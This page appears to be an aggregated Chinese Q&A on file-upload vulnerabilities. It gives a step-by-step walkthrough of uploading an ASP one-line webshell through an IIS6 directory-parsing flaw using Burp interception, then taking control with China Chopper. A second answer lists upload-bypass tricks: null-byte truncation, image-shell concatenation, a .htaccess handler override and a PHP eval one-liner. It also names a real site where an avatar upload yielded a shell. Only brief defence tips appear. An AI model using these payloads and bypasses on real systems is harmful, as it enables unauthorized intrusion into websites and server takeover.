目录路径检测解析绕过上传漏洞 啥意思

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了目录路径检测解析绕过上传漏洞 啥意思相关的知识,希望对你有一定的参考价值。

上传正常图片和WEBShell

准备一张普通的图片,使用*.jpg在电脑上进行搜索,可以看到很多图片,复制一张图片放到桌面上,改名为tupian.jpg。

打开上传地址,选取上传图片。

小i提示:

上传地址就是可以上传文件的地方
本次实验用的测试网址http://www.test.com作为目标网站

上传成功后,观察返回的页面信息

小i提示:

观察红字部分(上传是否成功,成功为 Upload Successful ,失败这一行会显示失败信息)
观察蓝字部分(上传成功后文件的路径),它的名字是时间戳(通常是一个数字序列,唯一地标识某一刻的时间)加自己的尾缀

准备的是ASP环境,需要使用ASP的一句话,接着来制作一句话,新建一个空文本文档,将ASP的一句话写入到文本中,修改文件名为yijuhua.ASP并保存到桌面。

小i提示:

一句话是一种常见的网站后门,短小精悍,而且功能强大,隐蔽性非常好,在渗透测试过程中始终扮演着强大的作用。
不同的环境需要选取与环境匹配的一句话,一句话中<%eval request[‘这里是密码’]%>,本例中我们以
1 为密码。

上传ASP文件,发现提示错误信息:White List Match Failed--asp ,可能服务器端禁止了尾缀asp的文件上传。

2

利用IIS6解析缺陷绕过上传检测

首先打开BurpLoader,选择 Proxy->Options ,设置BurpLoader代理地址,默认为127.0.0.1、端口:8080。

接着修改Firefox的代理设置,修改代理地址以及端口(设置与在BurpLoader中设置的代理地址相同:127.0.0.1、端口:8080)。

小i提示:

不同浏览器设置代理的方法不相同, 但是设置位置基本类似,此处我们以火狐浏览器为例,首先点击右上角的工具->选项->网络->设置->手动配置代理,填入BurpLoader中设置的代理地址。

设置好浏览器代理后,我们再打开BurpLoader抓包,暂时截获浏览器给服务器发送的数据包,Proxy->Intercept 点击
intercept off 改为intercept on,截获的数据包将在关闭抓包的时候发送给服务端。

查看数据包:其中Content-Disposition:form-data;name=”path”下面的一行为服务保存文件的相对路径,我们把原本的
uploading/ 改为 uploadimg/1.asp;。

小i知识点:

本例用了IIS6.0目录路径检测解析,文件的名字为“*.asp/xxx.jpg”,也同样会被 IIS 当作 ASP文件来解析并执行
首先我们请求 /aaa.asp/xxxx.jpg
从头部查找查找 "."号,获得 .asp/xxxx.jpg
查找"/",如果有则内存截断,所以/aaa.asp/xxxx.jpg会当做/aaa.asp进行解析

修改完成后,关闭抓包(点击intercept on ->intercept off),上传数据,查看浏览器发现上传成功,复制File Name后面的信息(例如:1.asp;14127900008.asp );在前面添加上uploadimg/粘贴复制到网站地址后面,从而构造访问地址(例如:http://www.test.com/uploadimg/1.asp;14127900008.asp
),并复制访问地址。

3

获取WEBShell权限

打开中国菜刀软件并填入复制的访问地址,填入你设定的密码,之前我们在“一句话”中设置的密码是1,选择脚本类型为ASP,单击添加按钮,就会看到菜刀上出现一行信息,最后我们双击这条信息后,就可以看到目标网站的目录,这样我们就成功获取到目标网站的WEBShell权限。

小i 知识点:

中国菜刀,是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀与一句话协作来进行管理

这里可以看见我们刚刚上传的文件,其中有一个空文件夹1.asp;以及其它我们上传的文件。

4

防御方案

1.客户端检测,使用JS对上传图片检测,包括文件大小、文件扩展名、文件类型等

2.服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测,对文件重命名

3.其他限制,服务器端上传目录设置不可执行权限
参考技术A Web应用程序通常会有文件上传的功能, 例如在 BBS发布图片 , 在个人网站发布ZIP 压缩 包, 在办公平台发布DOC文件等 , 只要 Web应用程序允许上传文件, 就有可能存在文件上传漏 洞.

什么样的网站会有文件上传漏洞?

大部分文件上传漏洞的产生是因为Web应用程序没有对上传文件的格式进行严格过滤 , 还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护, 后面我们会讲 到一些常见的解析漏洞, 最后还有一些不常见的其他漏洞, 如 IIS PUT 漏洞等 .

shell上传绕过检测方法

shell上传条件:

1、上传点

2、绝对路径

3、要有权限


开始上传(先试着上传小马,然后在上传大马,因为有时大马更容易被吃掉)

1、直接上传shell,即php文件   (对文件类型不做限制)

2、更改后缀  

    上传其他允许上传格式的文件例如png、jpg。然后再改后缀php  (在前端验证黑白名单)

3、利用解析漏洞(即在文件的绝对路径后加上 /xx.php)

    上传例如png的文件,利用解析漏洞  (含有解析漏洞的web服务器)

4、不可识别的后缀

    上传例如shell.php.abc文件,服务器因为不能识别abc后缀,所以向前查找可解析的后缀名。

5、00截断

    上传类似shell.php.jpg文件,用burpsuit抓包之更改hex值,在hex下找到shell.php.jpg将第二个点的值(我记得是2e)改为00,然后点击forward(将包放行)

6、图片马

    在win系统cmd下可以很容易将php文件与jpg或者png文件结合起来,例 copy /b 1.jpg+1.php shell.jpg 即可将图片与码结合起来了,因为有些服务器会检测图片头,若不是图片头是不允许上传的。将图片与码结合起来可以有效的隐藏木马。这里别忘了要上传的是php文件,可以使用以上的那些方法

7、.htaccess 文件攻击上传shell

    .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

    ①、写.htaccess文件

            需要用到的代码如下:

              <FilesMatch "cimer">

              SetHandler application/x-httpd一php

              </FilesMatch>

            (通过.htaccess文件,调用php的解析器解析一个文件名只要包含“cimer”这个字             符串的任意文件。)

            然后保存文件(名称、类型如下)

           技术分享

    ②、上传.htaccess文件

    ③、将shell后缀改为cimer

    ④、然后上传shell.cimer

    ⑤、然后就可以连接了

    如果看不懂看以参考  http://www.sohu.com/a/125498727_609556


上传方法很多,也有各种各样的奇葩绕过方法,我知道的也是九牛一毛,这里对奇葩事例记录一下,为防止以后忘记。

事例:海盗云商  会员改头像  burpsuit抓包后在content-type下加上文件大小 就可以getshell

                    或者上传图片后再加入木马,就可以getshell(这里有一个问题,就                     是<?php @eval($_POST[‘aaa‘])  ?> 一句话是没有分号的,有分好                     反而不成功)

以上是关于目录路径检测解析绕过上传漏洞 啥意思的主要内容,如果未能解决你的问题,请参考以下文章

shell上传绕过检测方法

[ 墨者学院 ] 文件上传 —— 内部文件上传系统漏洞分析

网站漏洞的查找利用解析漏洞来绕过上传

文件上传漏洞部分知识点

Web安全之文件上传漏洞

文件上传漏洞